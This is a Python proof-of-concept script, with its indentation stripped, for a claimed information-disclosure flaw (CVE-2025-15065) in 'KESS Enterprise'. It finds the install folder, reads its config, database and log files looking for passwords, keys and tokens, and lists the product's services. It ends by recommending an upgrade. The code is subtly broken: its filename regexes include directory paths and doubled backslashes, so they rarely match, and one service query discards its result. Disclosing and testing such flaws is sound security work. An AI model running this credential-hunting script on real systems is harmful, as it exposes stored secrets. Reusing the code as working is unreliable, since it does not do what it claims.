# CVE-2025-15065 PoC - KESS Enterprise Sensitive Information Exposure
# This PoC demonstrates the information disclosure vulnerability
import os
import sys
import subprocess
import re
def check_kess_installation():
"""Check if KESS Enterprise is installed"""
possible_paths = [
r"C:\Program Files\KESS Enterprise",
r"C:\Program Files (x86)\KESS Enterprise",
r"C:\KESS Enterprise"
]
for path in possible_paths:
if os.path.exists(path):
print(f"[+] Found KESS Enterprise at: {path}")
return path
return None
def enumerate_sensitive_files(kess_path):
"""Enumerate potentially sensitive files"""
sensitive_patterns = [
r"\config\\.*\.xml",
r"\config\\.*\.ini",
r"\data\\.*\.db",
r"\logs\\.*\.log",
r"\*.conf",
r"\*.cfg"
]
print("\n[*] Enumerating sensitive files...")
for root, dirs, files in os.walk(kess_path):
for file in files:
if any(re.search(pattern.replace("\\", "\\\\"), file, re.I) for pattern in sensitive_patterns):
filepath = os.path.join(root, file)
print(f"[+] Found sensitive file: {filepath}")
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
# Check for sensitive patterns
if any(keyword in content.lower() for keyword in ['password', 'key', 'secret', 'token', 'credential']):
print(f"[!] WARNING: File contains potential credentials!")
except:
pass
def check_service_permissions():
"""Check KESS service permissions"""
print("\n[*] Checking KESS service permissions...")
try:
result = subprocess.run(['sc', 'query', 'state=', 'all'],
capture_output=True, text=True)
services = re.findall(r'SERVICE_NAME: (.+)', result.stdout)
kess_services = [s for s in services if 'kess' in s.lower()]
for service in kess_services:
print(f"[+] Found KESS service: {service}")
# Check service configuration access
subprocess.run(['sc', 'qc', service], capture_output=True)
except Exception as e:
print(f"[-] Error checking services: {e}")
def main():
print("=" * 60)
print("CVE-2025-15065 PoC - KESS Enterprise Information Disclosure")
print("=" * 60)
kess_path = check_kess_installation()
if not kess_path:
print("[-] KESS Enterprise not found")
return
enumerate_sensitive_files(kess_path)
check_service_permissions()
print("\n[*] PoC execution completed")
print("[*] Recommendation: Upgrade to version 25.9.19 or later")
if __name__ == "__main__":
main()